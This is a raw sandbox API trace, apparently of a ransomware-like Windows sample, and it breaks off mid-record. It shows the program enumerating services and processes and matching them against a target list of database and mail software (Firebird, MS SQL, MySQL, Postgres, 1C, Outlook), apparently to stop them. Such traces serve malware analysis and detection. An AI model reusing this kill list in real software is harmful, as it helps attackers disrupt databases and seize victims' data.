[0077.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0077.900] lstrlenW (lpString="ProfSvc") returned 7 [0077.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0077.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0077.900] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0077.900] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0077.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0077.900] lstrlenW (lpString="RpcEptMapper") returned 12 [0077.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.900] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0077.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0077.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0077.901] lstrlenW (lpString="RpcSs") returned 5 [0077.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0077.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0077.901] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0077.901] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0077.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0077.901] lstrlenW (lpString="SamSs") returned 5 [0077.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0077.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0077.901] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0077.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0077.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0077.902] lstrlenW (lpString="Schedule") returned 8 [0077.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0077.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0077.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0077.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0077.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0077.903] lstrlenW (lpString="SENS") returned 4 [0077.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0077.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0077.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0077.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0077.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0077.904] lstrlenW (lpString="ShellHWDetection") returned 16 [0077.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.904] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0077.904] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0077.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0077.904] lstrlenW (lpString="Spooler") returned 7 [0077.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0077.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0077.904] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0077.904] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0077.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0077.904] lstrlenW (lpString="SysMain") returned 7 [0077.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0077.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0077.905] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0077.905] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0077.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0077.905] lstrlenW (lpString="Themes") returned 6 [0077.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0077.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0077.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0077.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0077.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0077.905] lstrlenW (lpString="TrkWks") returned 6 [0077.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0077.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0077.906] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0077.906] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0077.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0077.906] lstrlenW (lpString="UxSms") returned 5 [0077.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0077.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0077.906] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0077.906] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0077.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0077.906] lstrlenW (lpString="WdiServiceHost") returned 14 [0077.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.907] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0077.907] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0077.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0077.907] lstrlenW (lpString="WdiSystemHost") returned 13 [0077.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.907] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0077.907] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0077.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0077.908] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0077.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.908] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0077.908] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0077.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0077.908] lstrlenW (lpString="Winmgmt") returned 7 [0077.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0077.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0077.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0077.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0077.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0077.909] lstrlenW (lpString="WPDBusEnum") returned 10 [0077.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.909] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0077.909] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0077.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0077.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x39777a0 | out: hHeap=0x5b0000) returned 1 [0077.909] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x194 [0077.918] Process32FirstW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.919] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.921] lstrlenW (lpString="System") returned 6 [0077.921] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0077.921] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0077.921] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.922] lstrlenW (lpString="smss.exe") returned 8 [0077.922] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0077.922] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0077.922] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0077.922] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0077.922] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0077.923] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0077.923] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0077.923] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.923] lstrlenW (lpString="csrss.exe") returned 9 [0077.923] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.924] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.924] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.924] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.924] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.924] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0077.924] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.925] lstrlenW (lpString="wininit.exe") returned 11 [0077.925] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0077.925] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0077.925] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.926] lstrlenW (lpString="csrss.exe") returned 9 [0077.926] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.926] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.926] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.926] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.926] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.926] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.926] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.927] lstrlenW (lpString="winlogon.exe") returned 12 [0077.927] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.928] lstrlenW (lpString="services.exe") returned 12 [0077.928] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.928] lstrlenW (lpString="lsass.exe") returned 9 [0077.928] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0078.075] lstrlenW (lpString="lsm.exe") returned 7 [0078.075] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.076] lstrlenW (lpString="svchost.exe") returned 11 [0078.076] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.077] lstrlenW (lpString="svchost.exe") returned 11 [0078.077] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.078] lstrlenW (lpString="svchost.exe") returned 11 [0078.078] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.079] lstrlenW (lpString="svchost.exe") returned 11 [0078.079] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.080] lstrlenW (lpString="svchost.exe") returned 11 [0078.080] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0078.080] lstrlenW (lpString="audiodg.exe") returned 11 [0078.081] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.081] lstrlenW (lpString="svchost.exe") returned 11 [0078.081] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.083] lstrlenW (lpString="svchost.exe") returned 11 [0078.083] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0078.084] lstrlenW (lpString="dwm.exe") returned 7 [0078.084] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0078.085] lstrlenW (lpString="explorer.exe") returned 12 [0078.085] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0078.086] lstrlenW (lpString="spoolsv.exe") returned 11 [0078.086] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.087] lstrlenW (lpString="svchost.exe") returned 11 [0078.087] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0078.087] lstrlenW (lpString="taskhost.exe") returned 12 [0078.088] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0078.088] lstrlenW (lpString="taskeng.exe") returned 11 [0078.088] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wilson-homeless-extension.exe")) returned 1 [0078.089] lstrlenW (lpString="wilson-homeless-extension.exe") returned 29 [0078.089] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="while damaged.exe")) returned 1 [0078.090] lstrlenW (lpString="while damaged.exe") returned 17 [0078.090] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="hosted_thee.exe")) returned 1 [0078.091] lstrlenW (lpString="hosted_thee.exe") returned 15 [0078.091] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="covering-secretariat.exe")) returned 1 [0078.092] lstrlenW (lpString="covering-secretariat.exe") returned 24 [0078.092] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="herself-neo-wheat.exe")) returned 1 [0078.093] lstrlenW (lpString="herself-neo-wheat.exe") returned 21 [0078.093] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="institution-population-samples.exe")) returned 1 [0078.094] lstrlenW (lpString="institution-population-samples.exe") returned 34 [0078.094] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x20c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contacteddecidedmurder.exe")) returned 1 [0078.094] lstrlenW (lpString="contacteddecidedmurder.exe") returned 26 [0078.095] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="l_greene_go.exe")) returned 1 [0078.095] lstrlenW (lpString="l_greene_go.exe") returned 15 [0078.096] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="informative-switches-zones.exe")) returned 1 [0078.096] lstrlenW (lpString="informative-switches-zones.exe") returned 30 [0078.096] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spots wm.exe")) returned 1 [0078.097] lstrlenW (lpString="spots wm.exe") returned 12 [0078.097] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="epa_spirituality.exe")) returned 1 [0078.099] lstrlenW (lpString="epa_spirituality.exe") returned 20 [0078.099] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x790, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lp imagination.exe")) returned 1 [0078.100] lstrlenW (lpString="lp imagination.exe") returned 18 [0078.100] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="guilty_shed_brandon.exe")) returned 1 [0078.101] lstrlenW (lpString="guilty_shed_brandon.exe") returned 23 [0078.101] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="disaster_rapidly_permanent.exe")) returned 1 [0078.102] lstrlenW (lpString="disaster_rapidly_permanent.exe") returned 30 [0078.102] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x640, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary teach.exe")) returned 1 [0078.103] lstrlenW (lpString="voluntary teach.exe") returned 19 [0078.103] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="languagemonacotoll.exe")) returned 1 [0078.104] lstrlenW (lpString="languagemonacotoll.exe") returned 22 [0078.104] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="jesse.exe")) returned 1 [0078.105] lstrlenW (lpString="jesse.exe") returned 9 [0078.105] Process32NextW (in: hSnapshot=0x194, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, 